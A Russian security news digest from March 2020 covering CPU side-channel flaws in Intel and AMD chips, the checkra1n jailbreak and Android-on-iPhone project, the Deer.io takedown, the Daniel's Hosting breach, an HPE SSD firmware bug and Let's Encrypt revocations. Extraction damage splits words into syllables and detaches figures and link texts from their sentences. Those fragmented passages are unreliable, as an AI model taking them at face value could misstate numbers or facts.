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НОВЫЕ ДЫРЫ
В ПРОЦЕССОРАХ
Ред кий месяц в пос ледние годы обхо дит ся без новос тей об оче ред ных уяз‐ 
вимос тях,  обна ружен ных  в  про цес сорах  круп ней ших  про изво дите лей.
Но март 2020 года ока зал ся осо бен но богат на такие проб лемы.

Intel
В  начале  месяца  экспер ты  ком пании  Positive  Technologies  сооб щили,  что
исправ ленная  в  прош лом  году  уяз вимость  в  про цес сорах  Intel  ока залась
гораз до  опас нее,  чем  счи талось  изна чаль но.  Речь  идет  о  проб леме  CVE‐
2019‐0090,  которая  свя зана  с  работой  Intel Converged Security  and Manage‐
ment Engine  (CSME), ранее называв шегося  Intel BIOS Management Extension
(Intel MEBx). Боль шинс тво чип сетов Intel, выпущен ных за пос ледние пять лет,
уяз вимы перед этим багом.

Экс плу ати руя  баг,  локаль ный  зло умыш ленник  может  извлечь  кор невой
ключ плат формы (chipset key), который записан в мик росхе ме PCH, и получить
дос туп к зашиф рован ным этим клю чом дан ным. При этом невоз можно зафик‐ 
сировать сам факт утеч ки клю ча. Имея кор невой ключ, зло умыш ленник может
не толь ко рас шифро вать дан ные, хра нящи еся на целевом компь юте ре, но и
под делать его аттеста цию, которая осно вана на схе ме EPID (Enhanced Privacy
ID), — то есть выдать свой компь ютер за ПК жер твы. Дан ная схе ма исполь‐ 
зует ся  в  работе  тех нологии  DRM,  а  так же  для  обес печения  безопас ности
бан ков ских тран закций и аттеста ции интерне та вещей.

Учи тывая,  что фун дамен таль но испра вить дан ную проб лему,  вне ся изме‐ 
нения в ROM чип сета, невоз можно, экспер ты Positive Technologies рекомен‐ 
дуют  отклю чить  тех нологию  шиф рования  носите лей  информа ции,  исполь‐ 
зующую под систе му Intel CSME, или рас смот реть воз можность заменить парк
компь юте ров на ПК с про цес сорами Intel 10‐й серии и выше.

За тем,  в  середи не  месяца,  свод ная  коман да  уче ных  из  Вус тер ско го
политех ничес кого  инсти тута,  Грац ско го  тех ничес кого  уни вер ситета,  Уни вер‐ 
ситета Мичига на, Уни вер ситета Аде лаиды, а так же экспер ты ком пании Bitde‐
fender рас ска зали о  новой проб леме,  которая  так же  угро жает  про цес сорам
ком пании Intel.

Но вые ата ки получи ли наз вание Load Value Injection (LVI), и, хотя инже неры
Intel уже выпус тили соф твер ные исправ ления, пол ное устра нение этих проб‐ 
лем  таким  обра зом  невоз можно —  в  будущем  про цес сорам  ком пании  пот‐ 
ребу ются  аппа рат ные  изме нения.  LVI‐ата ки  во мно гом  явля ются  «нас ледни‐ 
ками» нашумев ших в 2018 году уяз вимос тей Meltdown и Spectre (в основном
Meltdown), отталки ваясь от  которых спе циалис ты выяви ли мно жес тво дру гих
side‐channel‐проб лем,  вклю чая  Spoiler,  RIDL,  Fallout  и  ZombieLoad,  Zom‐
bieLoad 2, NetCAT, TPM‐FAIL, Plundervolt.

Как объ ясни ли экспер ты, LVI — это сво его рода Meltdown наобо рот. Так,
если  проб лема  Meltdown  поз воляла  зло умыш ленни кам  извле кать  дан ные
при ложе ний в памяти ЦП, то ата ки LVI пре дос тавля ют воз можность внед рять
код  в ЦП и  выпол нять  его  как  transient‐опе рацию,  что дает  зло умыш ленни ку
кон троль над ситу ацией.

Тес ты, выпол ненные дву мя иссле дова тель ски ми груп пами, которые обна‐ 
ружи ли  проб лему  LVI  незави симо  друг  от  дру га,  хорошо  иллюс три руют
широкий  спектр  воз дей ствия  новой  угро зы.  Нап ример,  уче ные  сос редото‐ 
чились  на  воп росах  уте чек  дан ных  (клю чей  шиф рования)  из  анкла вов  Intel
SGX,  тог да  как  инже неры  Bitdefender  кон цен три рова лись  на  ата ках
на облачные сре ды.

В  нас тоящее  вре мя  реаль ными  тес тами  под твержде но,  что  ата ки  LVI  пред‐ 
став ляют угро зу для про цес соров Intel, одна ко иссле дова тели не исклю чают,
что решения AMD и ARM, а так же любые про цес соры, уяз вимые перед утеч‐ 
ками дан ных по прин ципу Meltdown, тоже могут быть под верже ны новой проб‐ 
леме. Кро ме того, сооб щает ся,  что, сог ласно пред варитель ным тес там,  уже
выпущен ные Intel соф твер ные пат чи серь езно вли яют на про изво дитель ность.
Так,  уста нов ка  исправ лений  может  сни зить  про изво дитель ность
от 2 до 19 раз.

«Что бы  вос поль зовать ся  этой  уяз вимостью  на  прак тике,  необ ходимо
соб людение  мно гочис ленных  слож ных  усло вий.  Intel  не  рас ценива ет
LVI  как при мени мый в реаль ной прак тике спо соб дос тупа,  если опе- 
раци онная сис тема и дис петчер вир туаль ных машин не были ском про- 
мети рова ны.  Поль зовате лям  уже  дос тупны  новые  рекомен дации
и  инс тру мен ты,  которые  в  сочета нии  с  пред став ленны ми  ранее
обновле ниями  сущес твен но  сни жают  общую  повер хность  ата ки.  Мы
бла года рим иссле дова телей, которые работа ли с нами, а так же наших
пар тне ров  по  отрасли  за  их  вклад  в  ско орди ниро ван ное  рас кры тие
информа ции по этой проб леме. При мени тель но к SGX: что бы сни зить
потен циаль ные воз можнос ти для исполь зования механиз ма Load Value
Injection (LVI) на плат формах и в при ложе ниях с под дер жкой Intel SGX
кор порация Intel с сегод няшне го дня выпус кает обновле ния для прог- 
рам мно го  обес печения  SGX  Platform  и  соот ветс тву юще го  SDK.  Intel
SGX  SDK  содер жит  рекомен дации  по  миними зации  уяз вимос ти  LVI
для раз работ чиков при ложе ний  Intel SGX», — ком менти руют пред ста- 
вите ли Intel.

Но и на этом пло хие для Intel новос ти не закон чились. Вско ре инже нер Ama‐
zon Web Services (AWS) Павел Визор кевич сооб щил о еще одной уяз вимос ти.
Соз данная иссле дова телем ата ка получи ла наз вание Snoop Assisted L1 Data
Sampling (или прос то Snoop) и иден тифика тор CVE‐2020‐0550.

Но вая  ата ка  экс плу ати рует  пре иму щес тва  таких  сов ремен ных  про цес‐ 
сорных  механиз мов,  как  нес коль ко  уров ней  кеша,  когерен тность  кеша
и отсле жива ние шины  (bus  snooping,  отсю да  и  про исхо дит  наз вание  ата ки).
Так,  в  нас тоящее  вре мя  боль шинс тво  про цес соров  исполь зуют  нес коль ко
уров ней кеша для хра нения дан ных во вре мя их обра бот ки. Наибо лее час то
исполь зует ся уро вень L1, который раз делен на две час ти: одна для обра бот ки
поль зователь ских дан ных (L1D), а вто рая для обра бот ки кода инс трук ций ЦП
(L1I).  Из‐за  исполь зования  мно гоядер ных  архи тек тур  и  нес коль ких  уров ней
кеша дан ные зачас тую хра нят ся одновре мен но в нес коль ких кешах ЦП и даже
в RAM.

Ви зор кевич  обна ружил,  что  при  опре делен ных  усло виях  вре донос ный  код
может под клю чить ся к опе рации отсле жива ния шины и спро воци ровать воз‐ 
никно вение  оши бок,  что  в  ито ге  при ведет  к  утеч ке  дан ных  через  когерен‐ 
тность  кеша.  При  этом  иссле дова тель  отме чает,  что  ата ку  край не  труд но
реали зовать на прак тике и она в любом слу чае не поз волит похитить боль шие
объ емы дан ных (в отли чие от ори гиналь ных уяз вимос тей Meltdown и Spectre).

Изу чив  проб лему,  раз работ чики  Intel  приш ли  к  выводу,  что  про тив  нее
помогут исправ ления, выпущен ные еще в августе 2018 года для уяз вимос ти
Foreshadow  (L1TF).  Так же  сооб щает ся,  что  защитить ся  поможет  отклю чение
фун кции Intel TSX (Transactional Synchronization Extensions), что сде лает реали‐ 
зацию Snoop еще слож нее и малове роят нее.

AMD
Об  уяз вимос тях  в  про цес сорах  AMD  при ходит ся  слы шать  реже,  одна ко
на  этот  раз  баги  кос нулись  и  их.  Свод ная  груп па  спе циалис тов  из 

  цен тра  науч ных  иссле дова ний  Фран ции  и  Грац ско го  тех‐ 
ничес кого уни вер ситета опуб ликова ла док лад, пос вящен ный новым век торам
атак  на  про цес соры  AMD.  Эти  проб лемы,  обна ружен ные  экспер тами
еще в 2019 году, вли яют на безопас ность дан ных, обра баты ваемых про цес‐ 
сорами, и могут при вес ти к хищению кон фиден циаль ной информа ции, а так‐ 
же ухуд шению безопас ности.

Национального

Со обща ется,  что  багам  под верже ны  про цес соры  AMD,  выпущен ные
в  пери од  меж ду  2011  и  2019  годами  (таб лицу  мож но  уви деть  ниже).  Более
того,  иссле дова тели  уве доми ли  инже неров  AMD  о  сво их  выводах  еще  в
августе  2019  года,  одна ко  ком пания  не  соч ла  нуж ным  выпус кать  пат чи,  так
как не счи тает эти проб лемы новыми спе куля тив ными (или упрежда ющи ми —
speculative) ата ками. Иссле дова тели с этим, конеч но же, не сог ласны.

Об наружен ные  спе циалис тами  проб лемы  зат рагива ют  механизм  пред ска‐ 
зания вет вле ния (way predictor) в кеше дан ных пер вого уров ня L1D. Эта ори‐ 
енти рован ная на про изво дитель ность фун кци ональ ность была пред став лена
в про цес сорах AMD в 2011 году, она поз воля ет сни зить энер гопот ребле ние.
Так,  сог ласно  опуб ликован ному  док ладу,  way  predictor  вычис ляет  μTag,  при‐ 
меняя для это го недоку мен тирован ную хеш‐фун кцию к вир туаль ному адре су.
Затем μTag исполь зует ся для опре деле ния канала кеша по таб лице. То есть
про цес сор дол жен срав нивать тег кеша не со все ми воз можны ми вари анта‐ 
ми, что поз воля ет умень шить пот ребле ние энер гии.

Ис сле дова телям уда лось отре вер сить упо мяну тую «недоку мен тирован ную
фун кцию»,  которую  исполь зовали  про цес соры  AMD,  и  обна ружить  два  век‐ 
тора атак: Collide + Probe и Load + Reload. Эти side‐channel‐ата ки во мно гом
похожи на  клас сичес кие Flush + Reload и Prime + Probe,  которые ранее  уже
исполь зовались дру гими ИБ‐экспер тами для извле чения дан ных из про цес‐ 
соров Intel.

При этом авто ры док лада уве рены, что обна ружен ные ими проб лемы отли‐ 
чают ся  от  про чих  атак  по  сто рон ним  каналам.  Так,  по  их  мне нию,  Collide  +
Probe и Load + Reload — не теоре тичес кие ата ки, а проб лемы, которые могут
быть  лег ко  исполь зованы  в  реаль ной  жиз ни,  и  для  это го  зло умыш ленни ку
не  понадо бит ся физичес кий  дос туп  или  спе циаль ное  обо рудо вание.  К  при‐ 
меру,  экспер ты  уве ряют,  что  экс плу ати рова ли  ата ки  в  облачной  сре де
с помощью JavaScript.

Так,  в  ходе одно го  экспе римен та  на  про цес соре AMD  уда лось  запус тить
вре донос ный про цесс, который исполь зовал скры тый канал извле чения дан‐ 
ных для хищения дан ных из дру гого про цес са. Ско рость «сли ва» дан ных сос‐ 
тавила 588,9 Кбайт/с.

Ата ку  Collide  +  Probe  уда лось  прис пособить  для  умень шения  энтро пии
в  раз личных  импле мен таци ях  ASLR  (Address  Space  Layout  Randomization).
Если же зло умыш ленник смог обой ти  защиту ASLR, он фак тичес ки получа ет
воз можность пред ска зывать, где выпол нится тот или иной код, и пла ниро вать
даль нейшие ата ки.

Ис сле дова тели заяви ли, что ском про мети рова ли ядро ASLR в пол ностью
обновлен ной Linux‐сис теме,  а  так же ASLR для опе раци онных сис тем и при‐ 
ложе ний,  работа ющих  в  облачных и  вир туаль ных  сре дах. Дан ные ата ки  пот‐ 
ребова ли внед рить вре донос ный код на целевую машину, одна ко сооб щает‐ 
ся, что ата ка воз можна и через интернет — если исполь зовать вре донос ный
JavaScript в бра узе ре. Кро ме того, ата ку Collide + Probe успешно при мени ли
для вос ста нов ления клю ча шиф рования из импле мен тации AES T‐table.

«Мы  про вери ли  наш  proof-of-concept  в  бра узе рах  Chrome
76.0.3809 и Firefox 68.0.2, а так же на движ ке Chrome V8. В Firefox мы
смог ли  умень шить  энтро пию  на  15  бит  с  веро ятностью  успе ха  98%
и  сред ним  вре менем  выпол нения  2,33  с  (σ  =  0,03  с,  n  =  1000).
В Chrome мы добились веро ятности успе ха 86,1% и сред него вре мени
выпол нения 2,90 с (σ = 0,25 с, n = 1000)», — пишут экспер ты.

Офи циаль ное  сооб щение  AMD  гла сит,  что  ком пания  не  счи тает  опи сан ные
проб лемы  новыми  спе куля тив ными  ата ками,  так  как  эти  проб лемы  мож но
решить, уста новив дру гие, выпущен ные ранее исправ ления для ста рых side‐
channel‐проб лем.  Напом ню,  что  в  прош лые  годы  про цес соры  AMD  были
приз наны уяз вимыми перед такими side‐channel‐проб лемами, как Spectre v1
(CVE‐2017‐5753), Spectre v1.1 (CVE‐2018‐3693), Spectre v1.2, Spectre v2 (CVE‐
2017‐5715),  CVE‐2018‐3640,  SpectreNG  (CVE‐2018‐3639),  SpectreRSB,  Net‐
Spectre, а так же ком плек сом багов L1TF (L1 Terminal Fault) или Foreshadow.

В свою оче редь, иссле дова тели завери ли жур налис тов изда ния ZDNet, что
ответ  AMD  «весь ма  обманчив»  и  ком пания  никак  не  вза имо дей ство вала
с коман дой спе циалис тов с августа прош лого года, то есть с момен та при ват‐ 
ного рас кры тия информа ции о проб лемах. К тому же сами ата ки яко бы по сей
день  работа ют  на  пол ностью  обновлен ных  ОС,  с  новей шими  про шив ками
и ПО.

НА   ВЫРОС ЛА НАГ РУЗКА НА ОБЛАЧНЫЕ СЕР ВИСЫ
MICROSOFT

775%

Из‐за пан демии корона виру са наг рузка на облачные сер висы ком пании Microsoft уве личи лась
на    в  реги онах,  где  вве дено  при нуди тель ное  соци аль ное  дис танци рова ние  и  само изо‐ 
ляция. Это более   поль зовате лей в день.

775%
44 мил лионов

Ис поль зование Windows Virtual Desktop воз росло в   раза.3

Нес мотря на зна читель ное уве личе ние спро са, пока ком пания сумела избе жать сущес твен ных
перебо ев  в обслу жива нии. Если же  говорить об огра ниче ниях,  пока они нез начитель ны:  нап‐ 
ример,  ком пания  слег ка  огра ничи ла  бес плат ные  пред ложения  (что бы  сущес тву ющие  кли енты
были в при ори тете), а поль зовате лям Xbox Live зап ретили менять изоб ражения в про филях.

ANDROID
ДЛЯ IPHONE
Эта исто рия началась с того, что осенью прош лого года хакер axi0mX обна‐ 
ружил уяз вимость   и объ яснил, как мож но исполь зовать ее на бла го
прог рессив ной общес твен ности. Дело в том, что это пер вая аппа рат ная уяз‐ 
вимость  в  BootROM,  обна ружен ная  за  мно го  лет:  пос ледний  джей лбрейк,
экс плу ати рующий  проб лемы  BootROM,  был  соз дан  поч ти  десять  лет  назад
извес тным хакером Джор джем Хот цем aka GeoHot.

checkm8

Джей лбрейк checkra1n, пос тро енный на базе checkm8, 
. В его соз дании при нима ла  учас тие  коман да иссле дова телей,

объ еди нен ная  под  общим  наз вани ем  checkra1n.  В  нее,  помимо  самого  ax‐
i0mX  и  извес тно го  iOS‐иссле дова теля  и  талан тли вого  хакера  Луки  Тодес ко,
вхо дит  еще  как  минимум  десяток  человек,  о  чем  крас норечи во  сви детель‐ 
ству ет раз дел Credits на  .

по явил ся в нояб‐ 
ре 2019  года

сай те груп пы
Те перь экспер ты ком пании Corellium пред ста вили   (про‐ 

ект «Песоч ный замок») — бета‐вер сию сбор ки Android, которую мож но уста‐ 
новить на iPhone. Это ста ло воз можным бла года ря исполь зованию checkra1n
и  плат формы  вир туали зации  мобиль ных  устрой ств  Corellium.  Напом ню,  что
Apple  уже  судит ся  с  ком пани ей  Corellium,  раз биратель ство  началось  еще  в
прош лом  году.  Дело  в  том,  что  ком пания  научи лась  соз давать  вир туаль ные
машины  с  iOS,  а  Apple  не  пон равилось,  что  кто‐то,  по  сути,  ско пиро вал  ее
опе раци онную сис тему.

Project Sandcastle

Те перь  же  инже неры  Corellium  пред лага ют  энту зиас там  на  свой  страх
и риск уста новить на iPhone 7 или iPhone 7 Plus (дру гие модели пока не под‐ 
держи вают ся)  едва  работа ющую  сбор ку  Android.  Раз работ чики  рас ска зыва‐ 
ют, что кол дуют над пор тирова нием Android на  iPhone уже более десяти лет.
Пока  мно гие  ком понен ты  не  фун кци они руют,  вклю чая  камеру,  Bluetooth
и сотовые модемы. Так же неиз вес тно, как такой экспе римент может ска зать‐ 
ся на батарее, про изво дитель нос ти и дру гих ком понен тах устрой ства. То есть
исполь зовать для опы тов основной телефон край не не рекомен дует ся.

«Там, где песоч ницы опре деля ют пре делы и гра ницы, песоч ные зам ки
дают  воз можность  соз дать  что‑то  новое,  исполь зуя  без гра нич ность
сво его  вооб ражения.  Project  Sandcastle  —  это  соз дание  чего‑то
нового на  крем нии вашего обо рудо вания.  iPhone огра ничи вает поль- 
зовате лей работой внут ри песоч ницы. Но ког да вы покупа ете  iPhone,
у  вас  есть железо  iPhone.  Android  для  iPhone  даст  вам  воз можность
исполь зовать дру гую опе раци онную сис тему на этом железе.

Android для iPhone име ет мно го инте рес ных прак тичес ких при мене- 
ний, от кри мина лис тичес ких иссле дова ний до двой ной заг рузки эфе- 
мер ных устрой ств с целью борь бы с элек трон ными отхо дами. Нашей
целью  всег да  было  прод вижение  мобиль ных  иссле дова ний,  и  нам
не  тер пится  уви деть,  что  сооб щес тво  раз работ чиков  смо жет  пос тро- 
ить на этом фун дамен те», — пишут инже неры Corellium.

Жур налис ты Forbes уже опро бова ли Project Sandcastle в деле. Демонс тра цию
работы Android на iPhone мож но уви деть в  .этом ролике

 ТРЕ КЕРОВ ПРИ НАД ЛЕЖАТ GOOGLE85%
Раз работ чики  при ват ного  поис ковика  DuckDuckGo  раз мести ли  в  Сети  спи сок  веб‐тре керов
Tracker  Radar.  Tracker  Radar  содер жит  под робную  информа цию  о  поведе нии  тре керов,  в  том
чис ле о рас простра нен ности, при над лежнос ти, дей стви ях с циф ровым отпе чат ком, поведе нии
фай лов  cookie,  полити ке  кон фиден циаль нос ти,  пра вилах  для  опре делен ных  ресур сов  (за
исклю чени ем слу чаев взло ма сай та) и дан ные о про изво дитель нос ти.

Спи сок  вклю чает    доменов,  которые  исполь зуют ся    ком пани ями  и  орга низа циями
для отсле жива ния активнос ти поль зовате лей.

5326 1727

На   сай тах ( )  был обна ружен  «маячок» doubleclick.net. Он при над лежит  ком пании
Google,  которая  так же  вла деет    домена ми  из  спис ка.  А  зна чит,  в    слу чаев  тре кер
исполь зует ся на сай тах, не при над лежащих Google.

29 758 68%
479 98%

В целом  тре керы,  при над лежащие Google,  уда лось  най ти  более  чем  на    сай тов  из  пер‐ 
вых 50 тысяч топа, а ком пании Facebook — на   сай тов.

85%
36%

При этом сооб щает ся, что лишь 19% поль зовате лей исполь зуют защиту от тре керов.

DEER.IO БОЛЬШЕ НЕТ
В  начале  мар та  2020  года  аме рикан ские  пра воох раните ли  сооб щили,  что
в  аэро пор ту  име ни  Джо на  Кен неди  в  Нью‐Йор ке  был  арес тован  рос сиянин
Кирилл  Вик торович  Фир сов,  которо го  счи тают  опе рато ром  плат формы
для соз дания сай тов Deer.io.

 о Deer.io еще в 2016 году. Так, плат форма сущес тво вала
с  2013  года  и  тог да  поз воляла  любому  жела юще му  за  500  руб лей  в  месяц
запус тить  собс твен ный  интернет‐магазин.  Работа ло  все  это  подоб но Word‐
Press: поль зовате лю за пла ту пре дос тавля ли хос тинг и дизайн.

Мы рас ска зыва ли

Еще три года назад иссле дова тели ком пании Digital Shadows писали, что
услу гами сер виса поль зуют ся более 1000 магази нов, которые уже при нес ли
сво им опе рато рам  свы ше 240 мил лионов  руб лей,  а  сами  соз датели Deer.io
уточ няли, что на самом деле магази нов нас читыва ется свы ше 4000.

Проб лема зак лючалась в том, что в 2016 году иссле дова тели обна ружи ли
на Deer.io магази ны, которым ско рее сто ило бы работать в дар кне те, а ведь
пра вила  плат формы  (и  законо датель ство  РФ)  зап рещали  про дажу  нар‐ 
котичес ких веществ, прог рамм, устрой ств и скрип тов для любых видов взло‐ 
ма, все свя зан ное с кар дерс твом и финан совыми махина циями, DDoS‐услу ги
и так далее.

Эк спер ты  утвер жда ли,  что адми нис тра ция Deer.io  соз натель но  зак рыва ет
гла за  на  такую  активность.  Так,  отчет  Digital  Shadows  гла сил,  что  пло щад ка
прек расно  извес тна  хакерам  и  активно  рек ламиру ется  на  форумах  Xeksek,
AntiChat, Zloy и Exploit.

Ин терес но,  что  пред ста вите ли  плат формы  катего ричес ки  отверга ли  эти
обви нения,  уве ряли  СМИ,  что  Deer.io  работа ет  в  соот ветс твии  с  закона ми
Рос сий ской  Федера ции,  а  так же  регуляр но  бло киру ет  магази ны,  которые
занима ются про дажей нар котиков или бан ков ских акка унтов, и банит магази‐ 
ны по рас поряже нию Рос комнад зора или дру гих упол номочен ных орга нов.

Не  менее  инте рес но  и  то,  что  пос ле  пуб ликации  матери ала  о  Deer.io
на  нашем  сай те  опе рато ры  плат формы  угро жали  «Хакеру»  юри дичес ким
прес ледова нием.  Летом  2019  года  ком пания  вне зап но  пот ребова ла
от редак ции уда лить матери ал 2016 года на том осно вании, что в отче те Digi‐
tal  Shadows  отсутс тво вал  скрин шот  глав ной  стра ницы  катало га  сай тов  (на
котором было отчетли во вид но, что топ‐10 магази нов тор гуют исклю читель но
ворован ными  акка унта ми).  Утвер жда лось,  что  скрин шот  сде лали  мы  сами,
а зна чит, пуб ликация «не име ет под твержде ния и порочит деловую репута цию
ком пании».

Те перь,  пос ле  арес та Фир сова, Минис терс тво юсти ции США отчи талось
о лик видации самого сай та. Домен был изъ ят в соот ветс твии с пос танов лени‐ 
ем суда,  и  на  глав ной стра нице сай та  теперь  кра сует ся  крас норечи вая  заг‐ 
лушка.

Пра воох раните ли  пишут,  что  на  момент  зак рытия  плат форма  исполь‐ 
зовалась для раз мещения более 24 тысяч магази нов, чьи сум марные доходы
сос тавля ли  более  17  мил лионов  дол ларов.  Соз дать  собс твен ный  магазин
здесь  мог  любой  жела ющий,  дос таточ но  было  зап латить  800  руб лей
в  месяц  —  в  бит кой нах  или  с  помощью  сис тем  онлайн‐пла тежей,  вклю чая
WebMoney.

Сле дова тели рас ска зыва ют, что 4 мар та 2020 года ФБР совер шило «кон‐ 
троль ную закуп ку» и при обре ло око ло 1100 игро вых акка унтов в магази не AC‐
COUNTS‐MARKET.DEER.IS менее чем за 20 дол ларов США, опла тив покуп ку
крип товалю той.  Пос ле  опла ты  пра воох раните ли  дей стви тель но  получи ли
учет ные  дан ные  от  акка унтов  игро ков,  вклю чая  имя  поль зовате ля  и  пароль
для каж дой.

Из  1100  этих  учет ных  записей  249  ока зались  взло ман ными  учет ными
запися ми неназ ванной ком пании. Дан ная ком пания под твер дила следс твию,
что  если  хакер  получал  дос туп  к  име ни  поль зовате ля  и  паролю,  то  у  него
появ лялась воз можность исполь зовать эту учет ную запись. При этом учет ная
запись  игро ка  обес печива ет  дос туп  ко  всей  его  меди ате ке,  а  так же  час то
име ет  свя зан ные  спо собы  опла ты.  То  есть  зло умыш ленник  мог  вос поль‐ 
зовать ся этим и совер шать допол нитель ные покуп ки.

Но толь ко лишь этим «кон троль ная закуп ка» не огра ничи лась. Так, 5 мар‐ 
та  2020  года  ФБР  при обре ло  при мер но  999  записей  с  лич ными  дан ными
в магази не DEER.IO SHIKISHOP.DEER.IS (при мер но за 170 дол ларов в бит кой‐ 
нах), а так же око ло 2650 записей с лич ными дан ными (при мер но за 522 дол‐ 
лара  в  бит кой нах).  Исполь зуя  при обре тен ную  информа цию,  сле дова тели
смог ли  узнать  име на,  даты  рож дения  и  номера  соци аль ного  стра хова ния
для ряда лиц, про жива ющих в окру ге Сан‐Диего.

«Deer.io  был  круп ней шей  цен тра лизо ван ной  плат формой,  которая
облегча ла  про дажу  ском про мети рован ных  акка унтов  соци аль ных
сетей,  а  так же  финан совых  дан ных,  пер сональ ной  информа ции
и взло ман ных компь юте ров. Зах ват это го прес тупно го сай та — боль- 
шой шаг  в  деле  сок ращения  [обо рота]  похищен ных  дан ных,  исполь- 
зуемых  для  атак  на  физичес ких  и  юри дичес ких  лиц  в  США  и  за
рубежом», — резюми рует спе циаль ный агент ФБР Омер Мей зель.

БИЛЛ ГЕЙ ТС ПОКИНУЛ СОВЕТ ДИРЕК ТОРОВ MICROSOFT
В середи не мар та ста ло извес тно, что Билл Гей тс покида ет совет дирек торов Microsoft, что бы
уде лять боль ше вре мени  сво им бла гот воритель ным про ектам. Впро чем,  это  не озна чает,  что
Гей тс  вооб ще  оста вит  ком панию, —  он  по‐преж нему  будет  чис лить ся  в шта те,  толь ко  теперь
в роли совет ника гла вы Microsoft Сатьи Надел лы.

→ «Уход  из  совета  дирек торов  ни  в  коем  слу чае  не  озна чает,  что  я  ухо жу  из  ком пании. Mi‐
crosoft  всег да  будет  важ ной  частью моей жиз ни,  и  я  про дол жу  сот рудни чать  с Сать ей  и  тех‐ 
ничес ким  руководс твом,  что бы  помогать  фор мировать  видение  и  дос тигать  амби циоз ных
целей,  сто ящих  перед  ком пани ей.  Отно ситель но  прог ресса  ком пании  и  того,  как  она  может
про дол жать  при носить  поль зу  миру,  я  чувс твую  себя  более  опти мис тично,  чем  ког да  бы  то
ни было»
— Билл Гей тс

Продолжение статьи →
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DH ЗАКРЫЛСЯ
ПОСЛЕ ВЗЛОМА
Один из круп ней ших хос тингов в дар кне те, Daniel’s Hosting (DH), был взло ман
в  ночь  на  10  мар та  2020  года.  Неиз вес тные  получи ли  дос туп  к  бэкен ду  DH
и  уда лили  все  свя зан ные  с  хос тингом базы дан ных,  а  так же  учет ную  запись
вла дель ца.

Раз работ чик  DH  Дэни ел  Вин зен  (Daniel  Winzen)  рас ска зал  в  бло ге,  что
обна ружил  взлом  толь ко  утром,  ког да  спа сать  что‐либо  уже  было  поз дно.
Дело  в  том,  что  хос тинг  умыш ленно  не  хра нил  резер вные  копии.  Вин зен
сооб щил,  что  пока  ему  толь ко  пред сто ит  выяс нить,  как  взлом щик  про ник
в  бэкенд.  Он  пишет,  что  сей час  сос редото чен  на  дру гих  про ектах  и  пов‐ 
седнев ных делах, а DH — это ско рее хоб би, поэто му тра тить слиш ком мно го
вре мени на рас сле дова ние он не пла ниру ет.

Соз датель Daniel’s Hosting  под черки вает,  что  взлом  не  зат ронул  учет ные
записи поль зовате лей, раз мещав ших на DH свои ресур сы, но все же совету ет
рас смат ривать  слу чив шееся  как  утеч ку  дан ных  и  рекомен дует  быв шим  кли‐ 
ентам сме нить пароли (если они исполь зуют одни и те же ком бинации учет‐ 
ных дан ных для раз ных ресур сов).

По  сло вам  раз работ чика,  в  обоз римом будущем DH  вряд  ли  зарабо тает
сно ва.

«Я  занима юсь  этим  про ектом  в  сво бод ное  вре мя,  парал лель но
с основной работой, и тра чу очень мно го вре мени на то, что бы прос то
под держи вать сер вер в чис тоте от незакон ных и мошен ничес ких сай- 
тов. Я тра чу в десять раз боль ше вре мени на уда ление акка унтов, чем
мог бы най ти для про дол жения раз работ ки. На дан ном эта пе я не пла- 
нирую про дол жать этот хос тинг‑про ект», — заяв ляет Вин зен.

При этом раз работ чик  уве ряет,  что  в целом  хотел бы переза пус тить  сер вис
с новыми фун кци ями и улуч шени ями,  что бы боль ше не при ходи лось  тра тить
все сво бод ное вре мя на адми нис три рова ние. Одна ко вряд ли это про изой‐ 
дет в бли жай шие месяцы.

Ин терес но,  что  это  уже вто рой  круп ный взлом DH за пос ледние пол тора
года. Так, в кон це 2018 года хос тинг точ но так же  , а неиз вес‐ 
тным зло умыш ленни кам уда лось получить дос туп к БД и поп росту уда лить все
акка унты,  вклю чая  root‐акка унт  сер вера.  Тог да  в  офлайн  ушли
более 6500 сай тов (так как резер вных копий тоже не было).

под вер гся ата ке

ОТ КАЗ ПОС ЛЕ   ЧАСОВ РАБОТЫ40 000

Ком пания  Hewlett  Packard  Enterprise  (HPE)  выпус тила  рекомен дации  по  безопас ности
и обновле ния про шивок для сво их SAS SSD.

Из‐за  ошиб ки  во  встро енном  ПО  некото рые  модели  твер дотель ных  накопи телей  ком пании
могут вый ти из строя пос ле    часов работы  (4  года, 206 дней и 16 часов пос ле вво да
в экс плу ата цию). Хуже  того,  пос ле сбоя,  если он все же про изо шел,  ни сам SSD, ни дан ные
на нем уже не могут быть вос ста нов лены.

40 000

В HPE под черки вают, что некото рые модели про дают ся отдель но, но дру гие вклю чены в сос тав
дру гих про дук тов HPE, в том чис ле HPE ProLiant, Synergy, Apollo 4200, Synergy Storage Modules,
D3000 Storage Enclosure и StoreEasy 1000 Storage.

МИНУС 3 МИЛЛИОНА
СЕРТИФИКАТОВ
4  мар та  2020  года  раз работ чики  Let’s  Encrypt  неожи дан но  сооб щили,  что
будут  вынуж дены  отоз вать  3  048  289  сер тифика тов  из‐за  ошиб ки  в  коде.
Проб лема  кры лась  в  управля ющем  ПО  Boulder,  которое  исполь зует ся
для про вер ки поль зовате лей и их доменов перед выдачей сер тифика тов.

Что бы разоб рать ся в проб леме, нуж но понимать, что такое стан дарт CAA
(Certificate Authority Authorization). Он был утвер жден еще в 2017 году и поз‐ 
воля ет  вла дель цам доменов  зап ретить  удос товеря ющим цен трам выпус кать
сер тифика ты для сво их доменов. По сути, вла дель цы доменов могут добавить
спе циаль ное поле CAA (CAA field) в DNS сво его домена, и толь ко удос товеря‐ 
ющий центр,  ука зан ный в этом поле, может выдать домену сер тификат. Все
удос товеря ющие  цен тры  (вклю чая  Let’s  Encrypt)  обя заны  сле довать  CAA,
в соот ветс твии с бук вой закона, а в про тив ном слу чае им гро зят серь езные
штра фы.

Ошиб ка  в  коде  Boulder,  свя зан ная  с  импле мен таци ей  CAA,  появи лась
еще летом 2019 года и порой зас тавля ла его игно риро вать про вер ку CAA.

«Если  зап рос  сер тифика та  содер жал N домен ных  имен,  для  которых
тре бова лась  пов торная  про вер ка CAA,  Boulder  выбирал  одно  домен- 
ное имя и про верял его N раз. Фак тичес ки, если под писчик выпол нял
валида цию  домен ного  име ни  на  вре мя  X,  запись  CAA  для  это го
домена  поз воляла  выдать  сер тификат  Let’s  Encrypt  во  вре мя  X.
Но  под писчик  имел  воз можность  получить  сер тификат,  содер жащий
это  домен ное  имя,  на  пери од    дней,  даже  если  поз же  на  это
домен ное  имя  была  уста нов лена  запись  CAA,  зап реща ющая  выдачу
сер тифика тов Let’s Encrypt», — объ ясня ют раз работ чики Let’s Encrypt.

X + 30

В ито ге баг был исправ лен, и теперь Boulder про веря ет поле CAA кор рек тно.
